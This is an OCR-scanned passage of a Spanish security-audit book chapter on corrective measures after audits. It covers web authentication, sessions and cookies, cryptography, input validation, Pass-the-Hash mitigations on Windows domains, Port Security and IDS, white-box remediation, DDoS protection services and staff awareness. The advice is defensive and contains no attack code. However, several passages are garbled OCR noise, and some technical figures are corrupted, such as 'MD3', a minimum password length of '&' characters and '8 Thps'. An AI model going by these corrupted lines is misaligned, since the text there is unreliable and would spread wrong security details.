los que se enfrentan, etcétera.

I EENE
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2.Medidas correctores en auditoria perimetral

En este apartado se proporcionan diferentes medidas COITL?‘C‘[O}"aS.y (;aractel .1513215:6?11:: (:);eo il?]ej!i];
tener en cuenta en los sistemas perimetrales, los cuales estan ex'pueslos_ i:-c_m H. g C(;n k) Jonse
del tiempo a la conectividad con usuarios en lnternet.‘En el capltu:f damurmer Ze b e
a cabo la auditoria perimetral, ahora se exponen diferentes medidas que ay

recomendar soluciones de los posibles fallos encontrados en el proceso.
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cierto que existe una serie de caracteristicas que se deben tener en cuenta, ya q]u p : mené;dones
auditor a utilizar un procedimiento para las recomendaciones. En otras palabras, las reco

se pueden clasificar de la signiente manera:
- Autenticacion.
- Acceso.
- Criptografia y datos sensibles
- Sesiones.
- Comunicaciones y protocolos.

- Entradas, codificacion y errores.

i 5 tot ¢ le de visualizar
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dia de hoy puede sorprender en algunos entornos,

i0 ni s¢ en claro en un campo
Las credenciales no deben ser autocompletadas en un formulario ni mostrarse cr; cla D
con tipe password, Ademas, las credenciales deben disponer de politicas para forza

igencia maxi inima e historial
un periode determinado. Aqui se introducen los conceptos de vigencia ma;cmu?, Im ook s
de credenciales. Por supuesto se debe contemplar que las contrasefas o credenciales
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de complejidad, es decir estar compuestas por letras, nimeros y simbolos extrafios. Sulongitud debe
ser de al menos & caracteres. Yy nunca almacenarse en texto plano. Se debe utilizar una funcién heash
para almacenar las contrasefias en un fichero o en una base de datos, Es casi imprescindible utiljzar
un algoritmo de la familia SHA. y ya no utilizar MD3.

Los ataques de fuerza bruta a Ja autenticacion es una de las acciones mds comunes que una
organizacién puede sufiir en Internet. Por esta razon se debe implementar un mecanismo, como el
capicha, con el que superando un ntimero de intentos de accesos consecutivos, se pida al usuario
una serie de simbolos a introducir con el fin de comprobar que no es un proceso automatizado quién
estd realizando la autenticacion.

basada en tiempo.

Por tltimo, una contramedida que se suele utilizar en el sector de la banea es la utilizacién de una
reautenticacion de usuario. o un segundo factor de autenticacion para realizar una accion sensible,
Esta medida puede ser necesitada en in entorno critico, no solo del ambito baneario,

Acceso

Los servicios perimetrales disponen de una capa de acceso la cual deberia cumplir con unas premisas
©Tl cuanto a seguridad se refiere. A continuacién se especifican una serie de medidas que ayudaran a
configurar ¢ implementar de forma més segura los servicios perimetrales,

Los usuarios que acceden a los recursos o datos de las aplicaciones o servicios deben poseer una
autorizacién de acceso, la cual se regird por la caracteristica de m inimo privilegio posible en todo
instante,

Como se especificd en el apartade anterior, los controles de Jos servicios y aplicaciones deben ser
implementados en el lado del servidor. Ademas, cada acceso a un fichero o ruta debers ser validado.
De este modo se impide el acceso no autorizado de un usuario sin los privilegios requeridos.

Las bases de datos que se puedan utilizar deberan ser configuradas con el minimo privilegio posible,
Yaque un error de configuracion o una desactualizacién de producto pueden desembocar en |a toma
del control del servicio con el privilegio que utilice.

Las restricciones deben aplicarse a unnivel determinado por los requisitos del entorno. Por ejemplo,
en algunas bases de datos se puede aplicar restricciones a nivel de fila, tabla, etcétera, En definitiva
cualquier entidad que ejecute codigo en una maquina o servidor debera ejecutar siempre con el
minimo privilegio posible ¥ controlar los pardmetros de entrada. La captura y gestion de excepciones
debe estar implementada siempre y de manera segura, por ejemplo no mostrando informacion de
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La capa de acceso se implementara de manera centralizada para proteger el acc.ezrso a cada tipo
de recurso. Tener distribuida la capa de acceso puede desembocar en la generacion de fallos de
configuracion o de aplicacion de permisos debido a la propagacion o replicacién que hay que llevar
de éstos.

Criptografia y datos sensibles B
La criptografia es una rama fundamental con la que conseguimos lograr conﬁde.ncaz.ahdad' 4 proteger
la informacién y datos sensibles. A continuacién se presentan conceptos de seguridad atiles como
contramedida y buenas practicas.

Las funciones criptograficas siempre deberdn estar implementadas en el lado del servidor. Ademagﬂ
todos los restimenes o hashes que se generen de una contrasefia utilizaran un sa/f con el fin de lograr
dificultar los ataques de fuerza bruta, o en su subconjunto los de diccionario.

Se deberia utilizar una politica de gestion de claves y prevenir el acceso a cualquier clave maeﬁtra a
un usuario no autorizado. Como ejemplo decir que una clave maestra put?de ser una cont’rasena de
una cadena de conexion de un servicio almacenado en texto plano en el disco. lo cual seria algo no

apropiado.

Los valores aleatorios deberan ser creados por méduloes criptograficos que sigan'al'glfn. estandar.
De este modo se pretende evitar que haya fallos de seguridad basados en la predictibilidad de lo
generado.

En algunas ocasiones se debe comprobar que los recursos que los usuarios descargan deben cstar
firmados. Esto se puede requerir en ciertos entornos criticos, por lo que se puede'nomprobar si
esto se estd realizando y recomendar su uso, como se ha comentado anteriormente, si el entorno lo

requiere.

Una de las necesidades de seguridad requeridas por los médulos cripto’gr:’lﬁco.s que se utl'hc-(.:n en IO,E;
aplicativos web es la de que estén validados por FIPS 140-2 o un estal?dar similar, segtn indica L
NIST en los Estados Unidos. Ademads, se puede recomendar la existencia de un procedimiento para
el intercambio y gestion de claves entre las terceras partes y el aplicativo.

Una de las recomendaciones més obvias en temas criptograficos es que nunca se utilicen algqntzms
de cifrado implementados por el propio desarrollador, Sélo se deben utilizar cifrados estandarizados,
actuales y verificados.

Otra de las recomendaciones mas comunes es la de que los proceses de autelllticacic')n no deben. cmi.lfalr
las credenciales en texto claro. Se deben utilizar protocolos que proporcionen una comunicacion
segura e informar de algunas vulnerabilidades conocidas que existen para estos protocolos, por lo
qu; se debe utilizar los mas seguros.

. ‘ o .
Los datos sensibles también deben encontrarse entre las recomendaciones que el aud1}o_1 debe ten;e
en cuenta. Entendiendo por dato sensible toda informacion referente a tarjetas de crédito, datos

R ——————

Capitulo IV. Recomendaciones del proceso ﬂ

facturacion y financieros, datos de cardcter personal y todos los datos que, ademas, estan sujetos a
la legislacion. Por este hecho se debe tener en cuenta una serie de recomendaciones, ya que en este
ultimo caso. toda precaucién es poca porque no solo la seguridad de la informacién esta en juego, si

no que la empresa se juega sanciones por incumplimiento de legislacién.

Técnicas como el autofill, cacheo de informacién sensible y autocompletado en general, siempre que
se trate de informacién sensible deben encontrarse deshabilitadas. Esto es una recomendacion basica
en el desarrollo e implantacién de arquitecturas web. Las peticiones deben realizarse utilizando
métodos POST y no GET, principalmente si muestran informacion sensible. Ademas, debers ir
protegida por algoritmos criptograficos. Todos los datos sensibles que se envian al cliente deben
ser protegidos de que otros puedan acceder a ellos, es decir, deben ser invalidados, por ejemplo
mediante el uso de cabeceras no-cache tras el acceso autorizado.

Una de las recomendaciones mas basicas. Y que se debe cumplir siempre por cualquier sistema de
informacién es que el desarrollador no debe embeber en el codigo fuente de la aplicacion datos
sensibles. Esta situacion es mds comiin de lo que se puede pensar a priori, y pone en peligro la
seguridad de todo el sistema.

Sesiones

En este apartado se presentan las recomendaciones relacionadas con los falles de seguridad mas
comunes en el ambito de la gestion de Ta sesion. Una vez el usuario ha sido autenticado comicnza
una sesion donde el usuario tiene acceso a la zona interna, y esta sesion debe ser implementada de
manera segura por ¢l equipo de desarrollo. Existen diferentes amenazas que pueden hacer que una
incorrecta implementacién ponga en peligro los datos del sistema de informacion.

Las sesiones del usuario son invalidadas cuando éste realiza un log out de la aplicacién. Este tipo de
control siempre debera estar implementado en una aplicacion. si no serfa un fallo grave del disefio
de la propia aplicacién. Se debe comprobar que este control funciona correctamente. Ademds. este
control deberd ser visible desde cualquier vista de la aplicacion, ya que el usuario debe poder cerrar
sesion en cualquier instante y desde cualquier punto de la aplicacién. En algunas ocasiones se puede
dar el easo de que los usuarios no cierren la sesion, se deberd implantar un control de rimeoni para
cerrar la sesi6n automdticamente ante la inactividad del usuario.

El identificador de la sesién no debe ser revelado en la direccion URL bajo ninguna circunstancia,
ni en los mensajes de error que se puedan producir en la aplicacion. Solamente debe ser enviado
en la cabecera H7TP utilizando el campo cookie. Es desaconsejable que las aplicaciones utilicen
URL Rewriting. Ademés, el identificador de Ia sesion debe cambiar y ser diferente en cada inicio de
sesion, y debe ser eliminado en el servidor tras el proceso de log out.

Las cookies deberfan tener un dominio ¥ una ruta configurada con un valor restrictivo para dicho
sitio, En otras palabras, delimitar a nivel de directorio o de subdominio el valor de la cookie, siempre
¥ cuando sea posible. En muchos sitios se le otorga una cookie a un usuario y con dicha cookie puede
acceder a todos los recursos del dominio, dénde quiza se podria delimitar para que haya una menor
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exposicion. Los parametros de la cookie deben tener establecidos comunicacién segura a través del
protocolo que sea. Ademas, las cookies deberian disponer de HTTFP Only y Secure F lag. HTT P. Only
permite proteger las cookies de la lectura de los seripfs, en otras palabras, un seript Jn’vas.crzpz no
podra leer o escribir dicha informacion. Logicamente, esto no es la panacea y ax1.sten teenicas que
permiten saltarse dicha proteccion, pero siempre es una capa mas de seguridad. .La lectura y escritura
de la cookie 1a realiza el servidor y el navegador web. Por otro lado, la proteccion S‘ec'm'e F/agrhace
que un navegador web no envie una cookie pot un canal no seguro, por 10. que si la cone-.xlmn es
por HTTP la cookie no se enviard. Como se puede entender estas dos medidas de proteccidn son
interesantes y deberian ser implantadas en la gestion de cookies.

Los fokens de sesion deben ser suficientemente largos v aleatorios para no ser vulnerables a ataques.
Ademads, los fokens deben ser validados en cada peticion en la parte del servidor y regenerados por
cada peticion o solicitud de accion. La aleatoriedad de los fokens debg ser comprobada, ya que un
token predecible podria permitir a un atacante llevar a cabo ciertas acciones no deseadas.

El identificador de la sesién deberd ser regenerado después de un tiempo maximo de sesidn, o
incluso una vez superado un nimero concreto de acciones. Esto es algo que no se suele llevar a cabo
en la practica. pero que en ciertas aplicaciones criticas si es implementado.

Comunicaciones y protocolos

En el presente apartado se trataran las recomendaciones para los pmtoco_los y comunicaciones que
los servicios utilicen en la red. El analisis de los protocolos siempre sera importante. sobre todo los
que sean propios de la aplicacion o desconocidos por el auditor. Las Co.n']unicaci.ones son un punto
débil, ya que un fallo en este ambito pondrd en peligro toda la informacion que circula en el canal.

Lautilizacion de protocolos de seguridad en las comunicaciones es algo recomendado desdg el primer
instante. Aunque en algunos escenarios no todo tiene que estar bajo un protocolo de seguridad. si es
obligatorio cuando se realizan las siguientes acciones:
- Autenticaciones de usuarios.
- Cookies que deban tener Secure Flag hace indicar que la comunicacion siempre debera
ser cifrada, ya que si no dicha cookie no podra ser enviada.
- Acciones eriticas por parte del usuario como puede ser la consulta de informacion de
cardcter personal.
- Toda accion relacionada con la administracion a nivel global de la aplicacidn debera ir
siempre a través de una comunicacion segura,
- Toda conexién con sistemas externos, ya sean de la propia organizacion o no, y que
lleven a cabo un intercambio de informacion sensible. Ademds, esta circunstancia deberd ser
autenticada, mediante el uso de un certificado.
- Toda conexién con sistemas externos deberdn ser lanzadas siempre con los minimos
privilegios, cumpliendo con este principio basico de la seguridgd_. Si-e] proceso fuera alterado
o comprometido, el atacante no dispondria de los maximos privilegios.
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Los certificados SSL utilizados en servidores deben estar firmados por una C4. autoridades de
certificacion, reconocidas. Hay que tener en cuenta el certtficate pinning. Logicamente, s¢ debe
comprobar que los certificados no estén emitidos para otros dominios, que no estan caducados, v que
se puede verificar la identidad del sitio remoto. En algunos casos la obtencion del certificado remoto
se debera realizar mediante una via no telemaética, dependiendo de la criticidad de la operacion a
realizar o del 4&mbito en el que se enfoque.

En algunas ocasiones se puede requerir que existan certificados del lado del cliente, para autenticarse
en algunos servicios y haciendo que este proceso sea més seguro.

La seguridad en los protocolos es algo totalmente necesario, y para ello se presentan algunas
recomendaciones que se pueden dar en una gran cantidad de escenarios de una auditoria. En el
protocolo HTTP se debe tener en cuenta las siguientes recomendaciones:

- Las redirecciones no deben incluir datos sin validar, y esta validacion se debe realizar en
el lado del servidor.

- Las aplicaciones utilizardn un conjunto minimo de métodos, por gjemplo GET y POST,
Hay que tener en cuenta que se pueden tener otros métodos. pero se configurardn solo los
necesarios,

- Las cabeceras deben ser coherentes y se debe disponer de la cabecera que indica el tipo
de contenido, content-type. Ademés, se debe especificar el tipo de codificacion, siendo ésta
una segura, por ejemplo UTF-8. Las cabeceras HTTP solo deben contener caracteres 4SCY/

s e r
Entradas, codificacién y errores
En este apartado se muestran las recomendaciones relacionas con las validaciones de entrada en los
aplicativos web, la codificacién de las entradas y salidas de datos y la gestion de los errores y logging
que se debe realizar en cualquier tipo de servicio o aplicativo.

Para la validacién de entradas se propone las siguientes recomendaciones:

- La utilizacion de patrones de validacién puede ser importante para filtrar las entradas.
Cuando se valide la entrada, si el resultado no supera la validacion se debe rechazar la
entrada. Esto se denomina sanitizacién de la entrada.

- Porsupuesto las validaciones de las entradas se realizardn en el lado del servidor. aungue
pueden existir validaciones en el lado del cliente. pero solo si éstas son redundantes.

- Para evitar procesos de automatizacién de entradas, los formularios deberan disponer
de un eapteha. De este modo se evitara el uso de herramientas que automaticen acciones
externas que pongan en peligro la seguridad de la aplicacion.

- Las entradas deben disponer de un conjunto de caracteres tinico. Esto es importante para

evitar otras codificaciones no seguras, o que la mezcla de ambas amplien la superficic de
ataque o exposicion.

La codificacion de las entradas vy salidas presentan las siguientes recomendaciones:
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- Los datos que forman parte de las entradas y salidas estaran escapados correctamente.

- Los controles de codificacion, como se ha ido exponiendo en todos los apartados
anteriores, deben ser implementados en el lado del servidor.

- Las peticiones que lleven datos utilizaran consultas parametrizadas para evitar ataques.
Todos los datos enviados mediantes XML, LDAP u otros tipos deben ser escapados
convenientemente.

- Debe existir un saneamiento asociado a las posibles subidas de ficheros por parte del
cliente, tanto en el formato como en los permisos que éstos tendrdn en el servidor.

Por tltimo se exponen las recomendaciones en lo referente a errores y logging:

- Tanto los servicios como los aplicativos deben almacenar un registro de auditoria, también
conocido como log. La informacion que se debe almacenar es variada, aunque se puede
resumir en actividad de los usuarios y eventos relacionados con la seguridad del servicio o
aplicacion.

- Los mensajes de error que se generen no pueden incluir datos sensibles que ayuden a
identificar versiones, rutas, datos, etcétera. Ademés, estos controles deben ser implantados
en el lado del servidor.

- Es una buena practica ulilizar herramientas de analisis de /ogs que permitan realizar
una gestion eficiente de la busqueda de eventos de seguridad. Para llevar a cabo este tipo
de acciones se puede utilizar un SIEM. Es interesante capturar eventos gue contengan
informacion como la fecha del evento, tipo de criticidad, direccion /P que origina el evento,

descripeion, eteétera.

3. Medidas correctoras en auditoria interna

En el presente apartado se exponen medidas correctoras que pueden ayudar a la empresa a mejot‘ar
su nivel de seguridad ante las pruebas de una auditoria interna. Como se ha visto en el ‘llb.t'() la
configuracion de redes, la seguridad de los servicios, la actualizacion de las versiones, el ]]1.(]\!.1[]11{‘2{110
verlical y horizontal, sen algunos de los problemas de seguridad a los que se enfrenta diariamente
una empresa intemamente.

Medidas correctoras para ataques PtH
Como se ha visto en este libro los ataques PiF o Pass The Hash permiten el robo de credenciales, ya
sea mediante el uso de una contrasefia obtenida o por el uso de un sash robado.

Como va se ha visto, y a modo de resumen, el atacante debe obtener un acceso administrativo local
en un ordenador del 4mbito de la empresa. Posteriormente, el atacante tratard de aumentar el acceso
a otros equipos de la propia red mediante el uso de credenciales robadas. Las credenciales que
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pueden obtener son otras que se encuentren logueadas en el quipo, cacheadas o en el archivo 447,
Por otro lado se puede reutilizar credenciales robadas para acceder a otros sistemas o servicios,

Si la cuenta comprometida es una cuenta con privilegios, como un administrador de dominio. lag
ganancias por parte del atacante son infinitas, ya que tendria acceso a todo el dominio y ser cualquier
usuario del dominio. Hay que tener muy en cuenta que cualquier credencial almacenada en un
equipo puede ser robada con este tipo de ataque, incluyendo las cuentas locales de los usuarios
(SAM), cuentas de usuario de dominio, de servicio y de equipo. Las cuentas de dominio que no se
hayan utilizado para iniciar sesién en el equipo comprometido no podrén ser robadas, a no ser que
nos encontremos en el Domain Controller.

(Qué condiciones se tienen que dar para que un atacante pueda utilizar un Aash robado en otro
equipo? Se pueden enumerar de la siguiente forma:

- El atacante debe tener conectividad con el equipo remoto a través de [a red. y el equipo
remoto debe tener servicios que acepten conexiones de red,

- La cuenta del usuario debe temer un hash idéntico al que se robd en la maquina
comprometida, es decir, la contrasefia debe ser la misma. Por gjemplo, si ambos equipos
estan en el mismo dominio o cuentas locales con el mismo nombre de usuario y contrasetia.

- La cuenta comprometida debe tener derecho de inicio de sesion en la red en el equipo
remoto.

(Sc puede resolver esto? ;Por qué Microsoft no puede liberar una actualizacion y resolver este
“problema™? ;Se debe reconstruir la arquitectura de Windows para solventar esto? En primer lugar.
no serfa correcto definirlo como problema, quiza si es un problema para los administradores de la
red que utilizan demasiado la delegacién de identidades, entre otras medidas, y por ello se enfrentan
al peligro del pass the hash.

En segundo lugar el robo de credenciales y la reutilizacién o impersonalizacién de credenciales no
es un problema que se pueda resolver con una actualizacion de software por parte de Microsoft.

Por lo tanto, para que la mitigacion sea efectiva, cualquier cambio en la arquitectura de Windows
debe denegar a los potenciales atacantes la posibilidad de realizar acciones como:

- ¢(Donde se almacenan en memoria las credenciales? Muchos usuarios llevan afios
investigando sobre este tema, y conocen las partes mas internas del sistema operativo Windows.
por lo que a priori se conoce en qué direcciones se almacena dicha informacion. Como se
soluciona esto? Quizd se puede pensar en técnicas de cifrado, ocultacion, ofuscacion. pero la
realidad nos indica que en el momento que el producto estd en manos del usuario. siempre
podra llevar a cabo ingenierfa inversa. Un ejemplo claro de esto son las investigaciones
llevadas a cabo por Herndn Ochoa o Gentil Kiwi, v los resultados obtenidos, como son
las herramientas WCE o Mimikatz, respectivamente. Estas investigaciones dejaron claro que
la seguridad por oscuridad nunca ha sido un buen método, ya que gracias a la ingenieria
inversa, se puede obtener cosas realmente interesantes.
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- Extraccion de credenciales por parte de los atacantes. Gracias a P/H y otro tipo de ataques
que pueden finalizar en robo o adquisicién de credenciales, un atacante aprovecha el acceso
para comprometer otras cuentas que pueden alojarse en ese equipo, va sea en memoria,
cacheadas o en ficheros. ;No esté cifrada esa informacién? ;Por qué Microsoft no cambia l.a
via en que fortifica esta informacion? Realmente la informacion no esté en plano, pero casi,
ya que en algunos sitios como el proceso lsass.exe, la informacion se encuen?ra cache‘z}da.
Es cierto que Microsofi puede cambiar esto, pero siempre el sistema opc.eratzvo ten_dra la
capacidad de recuperarlos, por lo que un atacante que estudie el funcionamiento del s.lstema
tendra la posibilidad de lograr descubrir cémo funciona. Microsoft entiende que cambiar esto
hace que sea sdlo cuestion de tiempo que un atacante vuelva a conocer cdmo recuperar la
informacion, siempre y cuando pueda ejecutar codigo come administrador en la méquina,
qué logicamente, en su equipo lo podré realizar. Microsoft entiende que un paso importante
para la mitigacion de este hecho es evitar de algiin modo que los atacantes puedan hacerse
con ¢l control de las cuentas, mediante la restriccién de acceso administrativo local. Esta
reduccion se encuentra disponible en los sistemas operativos de la marca a dia de hoy.

- Reutilizar las credenciales. El famoso mecanismo SSO, Single Sign-On, proporciona una
mejor experiencia de usvario, pero hay que asumir que aumenta el riesgo de ataques PtH, ya
que obteniendo dicho hash o credencial se obtiene acceso a todos los recursos de ese usuario
en distintos entornos. Ademas, como el sistema operativo debe cachear las credenciales para
poder llevar acciones después en el nombre de ese usuario. éste es un riesgo claro. Realmente
esto se hace por comodidad del usuario, ya que si las credenciales no se encontrasen cacheadas,
el usuario deberia volver a escribirlas continuamente en cada accidn que realizara.

Tras esta exposicion de ideas y problemas sobre la arquitectura de Windows y el Pass The Hash, se

puede llegar a la conclusion de que no seria sencillo alcanzar una solucién, sin tirar abajo todo el
. 4 3 o Fe111 1 1A 7

nicleo y volverlo a rehacer. ;Cdmo se puede proteger una organizacion’

Una organizacion puede preparar distintas vias estratégicas para llevar a cabo el proceso de mi.tig_acién
de los ataques Pif{. Se debe tener claro cudl es el objetivo v es prevenir tanto los mownueptos
horizontales o laterales del atacante, como la escalada de privilegios. es decir. el movimiento vertical.
Para conseguir esto, se debe disminuir el impacto de un robo de credenciales y su reutilizacién ilicita
en equipos con sistemas Windows.

A continuacion se exponen unas recomendaciones, que no tienen requisitos previos importantes,
aunque no son sencillas de implantan en un dominio, segin el punto de vista de la empresa de
Redmond.
- Restriccidn y proteccién de las cuentas privilegias del dominio. Sencillamente no utilizar
la cuenta de administrador de dominio en equipos de usuarios o servidores no importantes,
0 no llevar a cabo esta accion si no es estrictamente necesario. Con esta accion se evita el
movimiento vertical, ya que si dicha credencial cae en manos inoportunas se proporciona una
escalada de privilegios enorme.
- Restriccion y proteccion de las cuentas locales que disponen de privilegios administrativos.
Se intenta fortalecer la politica contra el movimiento lateral u horizontal.
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- Restriccion del trafico de entrada mediante firewall. De nuevo, esta accion fortalece la
politica de seguridad contra el movimiento horizontal.

La implantacién de estas tres mitigaciones no serd tarea sencilla, al menos en dos de ellas, porque
existe un esfuerzo importante para implantar tanto la restriccion de cuentas privilegiadas en el
dominio, como la restriccién de trafico entrante, El auditor debe valorar que las tres mitigaciones
son eficientes en su objetivo, y el trabajo del auditor serd de informar ¥ recomendar, una vez llevada
a cabo la auditoria, este tipo de acciones. Existen otros tipos de recomendaciones muy interesantes
¥ que son totalmente complementarias a las comentadas anteriormente.

- Eliminar usuarios estandar del grupo de administradores. Se intenta restringir la escalada
de privilegios.

- Limitar el numero y uso de las cuentas privilegiadas en un dominio. Otra capa mds para
evitar la escalada de privilegios.

- Configuracion de un proxy para denegar la salida a Tnternet de cuentas privilegiadas. Esla
es otra capa para evitar la escalada de privilegios.

- Asegurar que las cuentas administrativas no disponen de cuentas de e-mail,

- Utilizar herramientas de gestién que no coloquen las credenciales en la memoria del
equipo remoto. Con esto se intenta evitar la escalada de privilegios, ya que un usuario podria
capturar las credenciales en su memoria.

- Evitar los inicios de sesion en los equipos menos seguros, es decir, que puedan ser
comprometidos en el futuro. En otras palabras, que los usuarios no accedan de manera remaota
a estos equipos, ya que sus credenciales quedaran cacheadas, Solo el usuario necesario
deberfa ejecutar en este tipo de maquinas.

- Mantener los sistemas operativos y aplicaciones actualizadas, esla es una de las maximas
de la seguridad.

- Fortificar y gestionar los Domain Controllers.

- Eliminar los hashes LM. Este hecho es difieil hoy en dia debido a la compatibilidad
hacia atrds con los sistemas operativos antiguos que s6lo disponfan de este fush para la
autenticacién. Poco a poco este riesgo ira disminuyendo hasta desaparecer.

Para finalizar la exposicién de téenicas de mitigacién, faltan por afiadir algunas de menor efectividad.
aunque pueden ayudar bastante a los administradores a terminar de fortificar el entorno empresarial.
- Deshabilitar el protocolo NTLM. Este hecho no sera posible en la gran mayoria de
ocasiones, ya que se requiere un gran esfuerzo por parte de la empresa. y la efectividad puede
ser minima,
- Uso de smartcard y un segundo factor de autenticacion.
- Reinicio de equipos, tanto cliente como servidores. Las estaciones de trabajo podran
ser reiniciadas para provocar el “olvido” de las credenciales cacheadas y disponibles en
memoria. El reinicio de un servidor es bastante mas complejo. principalmente si se encuentra
en un ambito como la produccion.
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Configuracion de elementos de seguridad en la red

Tras realizar la auditoria se puede decidir si se necesitan elementos de seguridad en la red, en funcion
del éxito de ciertas pruebas que podrian haberse anulado con elementos de seguridad, tales como
IDS, HIDS o Port Security. Por ello, se debe analizar la problematica y decidir qué elementos son
los que se deberian configurar y utilizar en la red corporativa.

Una situacion frecuente en las empresas es la posibilidad de conectarse a la red utilizando cualquier
dispositivo, sobre todo con la ola BYOD. Habria que preguntarse si alguien puede entrar en el edificio
y conectarse con su equipo a una “boca” de red y tener acceso a la red.

Es recomendable utilizar sistemas como porr security o equivalentes. ;Qué es esto? Port Security

es una caracteristica de los swifches que permite tener una asociacion almacenada entre direccion

MAC y puerto del switch. De este modo se permite solamente a esas direcci(l)nes WC com.unicarse
através de esa “"boca” del switch a ese equipo. Si un dispositivo con otra direccion MAC intentase
comunicarse a través de dicha “boca”, el mecanismo Port Security deshabilitaria el puerto del
switchy se generaria una alerta para el administrador, por ejemplo, a través del protocolo SNMP que
se podria monitorizar.

Otra de las acciones a realizar es tener inventariado de todas las tomas de red y decidir desconectar
aquellas que no se utilizan. Esto es algo que muchas empresas realizan y que mejoran su seguridad
fisica, previniendo que alguien pueda conectarse donde quiera.

Por comodidad se puede configurar una lista de direcciones MAC en el switch para un puerto, no
tiene por qué ser solamente una. También se puede configurar las acciones que se llevardn a cabo en
caso de detectar un cambio de direccién MAC,

Otro de los elementos necesarios en una red son los IDS, NIDS, HIDS. Independientemente
del ambito en el que se quiera realizar la deteccidn de intrusiones se debe tener cl’am que son
imprescindibles hoy en dia. Ademas, ataques sencillos como es ARP Spoofing quedaria detectado,
debido a la anomalia que genera en la red.

Inventariado de maquinas y acotar responsabilidades

Una recomendacion, ya no a nivel técnico, pero que esta relacionado con la seguridac_l es el
inventariado de maquinas en la organizacion. Se debe disponer de un inventario donde se espectﬁlquen
qué maquinas hay, y si puede ser asociar direcciones a maquinas. Esto tltimo en muchas ocasiones
no puede ser, pero al menos si asociarlas a rangos de direcciones.

Es recomendable acotar las responsabilidades sobre las maquinas que pueden aparecer epl]a
organizacién, teniendo claro quién es el responsable en cada drea, por ejemplo a quo dt? politica
de seguridad. Si aparecen nuevas maquinas que puedan poner en peligro la estabilidad interna o
seguridad del segmento de red, debe existir un responsablede estos hechos, una figura al que se
pueda pedir explicaciones.
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Evaluacién de redes y recomendacién

Las redes internas, como se ha podido comprobar en este libro, pueden tener configuraciones
erroneas o algunos problemas que provocan que en vez de tener un comportamiento conmutado, éste
sea en modo Aub, o que al menos hayan paquetes que llegan a las tarjetas de red de otros usuarios,
cuando el trafico no estd dirigido a é1, ni es trafico mulricast.

Sieste hecho se detecta en la organizacion deberd informarse y recomendar el andlisis del problema.
ya que si los paquetes llegan a ciertos usuarios, éstos podrian utilizarlos para realizar acciones
maliciosas.

4.Medidas correctoras en auditoria de caja blanca

Los escaneres y las buenas practicas que conoce el auditor serdn las medidas correctoras una vez
se detecten problemas de configuracion, permisos no efectivos o desactualizaciones en el sistema.

A continuacion se exponen medidas a modo de checklist que se pueden enunciar a la organizacion
como buenas practicas para corregir o mitigar los fallos de seguridad encontrados en este tipo de
auditorias:

- Resolucién inmediata de los fallos encontrados en la configuracién de servicios y
permisos.

- Aplicacion de parches en entornos de preproduccion para su posterior aprobacion en
los servidores de produccion. Se entiende que la organizacion no aplicard actualizaciones
directamente en un entorno de produccién.

- Revision periddica mediante el uso de escaneres de vulnerabilidades y de configuracion,
- Minima exposicion de servicios y aplicaciones. En otras palabras, los servicios v
servidores deberdn estar expuestos con el menor espacio o conectividad posible, siempre y
cuando no afecte a la productividad,

- Minimo privilegio posible. Las aplicaciones y servicios deben ejecutarse con el
minimo privilegio para poder realizar sus funciones. De este modo se evita que un fallo

de configuracién o una desactualizacion aprovechado no proporcione el maximo privilegio
directamente al atacante.

- Acotar responsabilidades y registro de actividad. Disponer de teenologias basadas en triple
A(Authentication, Authorization and A ceounting) con las que se separen las responsabilidades
Y quede claro qué cosas se pueden realizar y se registre o audite las operaciones realizadas.

- Aplicacion de esquemas basados en la defensa en profundidad, siempre v cuando sea
posible.
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5. Medidas correctoras en DOS/DDOS

Cada vez hay mas empresas que se dedican a ofrecer servicios, tanto de pruebas de estrés lcontr.a' la
infraestructura de una organizacion como las medidas correctoras que se comentaran a continuacion.
La recomendacion mas eficiente para las organizaciones que quieren protegerse contra estas
amenazas es la de utilizar la infraestructura suplementaria que proporcionan las empresas que
ofrecen este tipo de servicios.

En primer lugar la planificacion de como detectar los ataques DDOS y su mitigacion debe ser una
funcion 77, Por gjemplo, la empresa Akamai ofrece soluciones anti DDOS, mediante' una escalabilidad
integrada. ;Como lo hacen? La solucion de Akamai absorbe el trafico DDOS diﬁgtdo.ell la capa ‘de
red de la organizacién, como por ejemplo los ataques SYN flood o UDP flood. La soluc101l1 autentica
el trafico valido en el perimetro de la red, siendo esto un sistema integrado y siempre activo.

Estas empresas estan distribuidas geograficamente y permiten una escalabilidad de recursos masiva
cuando detectan el ataque DDOS. Algunas de éstas han llegado a gestionar picos de trafico de
alrededor de 8 Thps. En lineas generales lo que realiza empresas como Akamai, OVH, eteétera, son

las siguientes acciones:

- Analisis en tiempo real del trifico. ;Como detectan el ataque? Un ejemplo seria [a
utilizacion de cierto trafico que los routers envian. Esta informacion es comparada con las
firmas de los ataques, ya que es un resumen de lo que pasa por cada rourer. Si la comparacion
es positiva, el plan de mitigacion se activa poco tiempo después, antes de que el ataque logre
tener impacto.

- Aspiracion del trafico entrante al servidor del cliente. Si el alaque es distribuido, la
empresa que ofrece el servicio debe activar servicios replicados en distintos datacenters con
el fin de sumar potencia de absorcion de trafico. En este punto dependerd de los recursos de
cada empresa, pero si la capacidad de absorcion supera los 500 Ghps se puede empezar a
relajar.

- Mitigacion del ataque, es decir, identificacion de lodos los paquetes legitimos. En esta
accion radica la logica del anti DDOS.

Fig. 4.01: Esquema global anti DDOS.
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Por lo tanto se recomienda evaluar la posibilidad de contar con los servicios de empresas de cste
tipo que protegen contra los ataques de DDOS, sobre todo si en la parte de la prueba de estrés se ha
demostrado que se puede “fumbar’ la organizacion.

6. Otras medidas correctoras

Hay multitud de recomendaciones que un auditor puede declarar a la empresa que ha auditado, pero
existen algunas especiales basadas en como la empresa entiende Ia seguridad, o como la empresa
implanta sus medidas de seguridad mas abstractas.

La concienciacion de los empleados es una de cllas, éstos deben ser conscientes de los peligros y
amenazas que Internet y las nuevas tecnologias tienen en la realidad. Es importante que los empleados
reciban jornadas de concienciacion orientadas a sus labores y cargos dentro de la organizacién.

Por ejemplo, los empleados que han caido como victimas en las pruebas de simulacion de 4P7T
deberfan asistir a jornadas de concienciacion dénde se les mostrasen los peligros del dia a dia en
el uso de Internet. Otro ejemplo es la formacién que deben recibir en temética de seguridad los
desarrolladores web, los téenicos que configuran e implantan sistemas, etcétera. Es importante que
el conocimiento en materia de seguridad en la empresa esté actualizado. ¥ que los propios empleados
y sus responsables estén involucrados en una politica de seguridad.

Otra recomendacién, que es bastante importante, es la realizacion de varias auditorias al afio, al
menos mas de una. Es entendible que las empresas deben ajustar los presupuestos v los recursos
para poder realizar las auditorias de seguridad, pero es recomendable que en caso de ser realizadas
por empresas externas se deberian llevara cabo al menos dos. También dependera del dmbito de la
